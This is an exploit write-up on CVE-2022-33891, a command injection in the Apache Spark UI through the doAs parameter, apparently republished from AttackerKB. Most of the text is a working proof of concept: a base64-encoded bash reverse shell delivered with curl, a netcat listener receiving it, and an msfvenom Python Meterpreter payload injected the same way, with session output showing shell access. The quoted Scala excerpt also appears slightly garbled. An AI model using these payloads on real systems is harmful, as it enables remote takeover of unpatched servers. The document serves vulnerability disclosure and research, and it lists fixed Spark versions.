TECHNICAL ANALYSISEXPLOIT DEVELOPMENTCVE-2022-33891

CVE-2022-33891 — Apache Spark Shell Command Injection

The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application.

Originally published on Rapid7 AttackerKB · 2022-08-19 · revised 2022-08-25

Overview

CVE-2022-33891 is a shell command injection vulnerability in Apache Spark. The original assessment credits Kostya Kortchinsky of Databricks with reporting the issue. Exploitation reaches a Unix group-membership check when ACLs are enabled and attacker-controlled input is passed through the doAs parameter.

Technical analysis

In vulnerable Apache Spark versions, a non-default setting called spark.acls.enable true triggers a shell command injection code vulnerability. This piece of code is responsible for checking the permissions of a user using a bash command shell in combination with the Unix id command. The non-default spark.acls.enable true setting reaches the vulnerable code path shown below.

  private def getUnixGroups(username: String): Set[String] = {
    val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
    // we need to get rid of the trailing "\n" from the result of command execution
    Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
    Utils.executeAndGetOutput(idPath ::  "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet
  }
}

You can trigger this very easily using ?doAs parameter passing a raw Linux command:

http://<spark-ip>:8080/?doAs=`[command injection here]`

User commands are processed through ?doAs parameter and no command output is reflected in the page during command execution, so this is a blind OS injection.

Proof of concept

To demonstrate the vulnerability, download a vulnerable Spark Docker image from dockerhub (https://hub.docker.com/).

  1. Start the Docker image
  2. In a new terminal, enter sudo docker exec -it spark_spark_1 /bin/bash
  3. In the container bash session, enter: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  4. Restart the Docker image

The command injection can then be exercised as follows. We will use a simple reverse shell payload: sh -i >& /dev/tcp/192.168.201.8/4444 0>&1

# echo 'sh -i >& /dev/tcp/192.168.201.8/4444 0>&1' | base64
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0IDA+JjEK
# curl -d 'doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0IDA+JjEK | base64 -d | bash`' -X POST http://192.168.201.37:8080/data

Netcat listener

# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.201.8] from (UNKNOWN) [192.168.201.37] 65314
$ whoami
spark

A second validation uses a Python Meterpreter payload through Metasploit. Set up and start the handler:

msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf6 exploit(multi/handler) > jobs

Jobs
====

  Id  Name                    Payload                         Payload opts
  --  ----                    -------                         ------------
  0   Exploit: multi/handler  python/meterpreter/reverse_tcp  tcp://0.0.0.0:4444

Generate the payload with msfvenom:

#  msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.201.8 LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 497 bytes
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))

Encode the payload:

# echo "python -c \"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))\"" | base64
cHl0aG9uIC1jICJleGVjKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX2ltcG9ydF9f
KCdjb2RlY3MnKS5nZXRlbmNvZGVyKCd1dGYtOCcpKCdhVzF3YjNKMElITnZZMnRsZEN4NmJHbGlM
R0poYzJVMk5DeHpkSEoxWTNRc2RHbHRaUXBtYjNJZ2VDQnBiaUJ5WVc1blpTZ3hNQ2s2Q2dsMGNu
azZDZ2tKY3oxemIyTnJaWFF1YzI5amEyVjBLRElzYzI5amEyVjBMbE5QUTB0ZlUxUlNSVUZOS1Fv
SkNYTXVZMjl1Ym1WamRDZ29KekU1TWk0eE5qZ3VNakF4TGpnbkxEUTBORFFwS1FvSkNXSnlaV0Zy
Q2dsbGVHTmxjSFE2Q2drSmRHbHRaUzV6YkdWbGNDZzFLUXBzUFhOMGNuVmpkQzUxYm5CaFkyc29K
ejVKSnl4ekxuSmxZM1lvTkNrcFd6QmRDbVE5Y3k1eVpXTjJLR3dwQ25kb2FXeGxJR3hsYmloa0tU
eHNPZ29KWkNzOWN5NXlaV04yS0d3dGJHVnVLR1FwS1FwbGVHVmpLSHBzYVdJdVpHVmpiMjF3Y21W
emN5aGlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtHUXBLU3g3SjNNbk9uTjlLUW89JylbMF0pKSIK

Execute the payload:

# curl -d 'doAs=`echo cHl0aG9uIC1jICJleGVjKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX2ltcG9ydF9fKCdjb2RlY3MnKS5nZXRlbmNvZGVyKCd1dGYtOCcpKCdhVzF3YjNKMElITnZZMnRsZEN4NmJHbGlMR0poYzJVMk5DeHpkSEoxWTNRc2RHbHRaUXBtYjNJZ2VDQnBiaUJ5WVc1blpTZ3hNQ2s2Q2dsMGNuazZDZ2tKY3oxemIyTnJaWFF1YzI5amEyVjBLRElzYzI5amEyVjBMbE5QUTB0ZlUxUlNSVUZOS1FvSkNYTXVZMjl1Ym1WamRDZ29KekU1TWk0eE5qZ3VNakF4TGpnbkxEUTBORFFwS1FvSkNXSnlaV0ZyQ2dsbGVHTmxjSFE2Q2drSmRHbHRaUzV6YkdWbGNDZzFLUXBzUFhOMGNuVmpkQzUxYm5CaFkyc29KejVKSnl4ekxuSmxZM1lvTkNrcFd6QmRDbVE5Y3k1eVpXTjJLR3dwQ25kb2FXeGxJR3hsYmloa0tUeHNPZ29KWkNzOWN5NXlaV04yS0d3dGJHVnVLR1FwS1FwbGVHVmpLSHBzYVdJdVpHVmpiMjF3Y21WemN5aGlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtHUXBLU3g3SjNNbk9uTjlLUW89JylbMF0pKSIK | base64 -d | bash`' -X POST http://192.168.201.37:8080/data

Successful Meterpreter session:

msf6 exploit(multi/handler) >
[*] Sending stage (40168 bytes) to 192.168.201.37
[*] Meterpreter session 4 opened (192.168.201.8:4444 -> 192.168.201.37:49487) at 2022-08-19 21:12:25 +0000

msf6 exploit(multi/handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > shell
Process 258 created.
Channel 1 created.
uname -a
Linux 7a26a9fb7ce3 5.10.104-linuxkit #1 SMP Thu Mar 17 17:08:06 UTC 2022 x86_64 GNU/Linux
ps ax
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:00 bash /opt/bitnami/spark/sbin/start-master.sh
   33 ?        S      0:00 bash /opt/bitnami/spark/sbin/spark-daemon.sh start org.apache.spark.deploy.master.Master 1 --host 7a26a9fb7ce3 --port 7077 --webui-port 8080
   38 ?        Sl     6:08 /opt/bitnami/java/bin/java -cp /opt/bitnami/spark/conf/:/opt/bitnami/spark/jars/* -Xmx1g org.apache.spark.deploy.master.Master --host 7a26a9fb7ce3 --port 7077 --webui-port 8080
  216 pts/0    Ss+    0:00 /bin/sh
  245 pts/1    Ss+    0:00 /bin/sh
  254 ?        Rsl    0:04 python -c exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))
  258 ?        S      0:00 /bin/sh
  270 ?        R      0:00 ps ax

Remediation

Upgrade Apache Spark to version 3.1.3, 3.2.2, 3.3.0, or a later fixed release.

References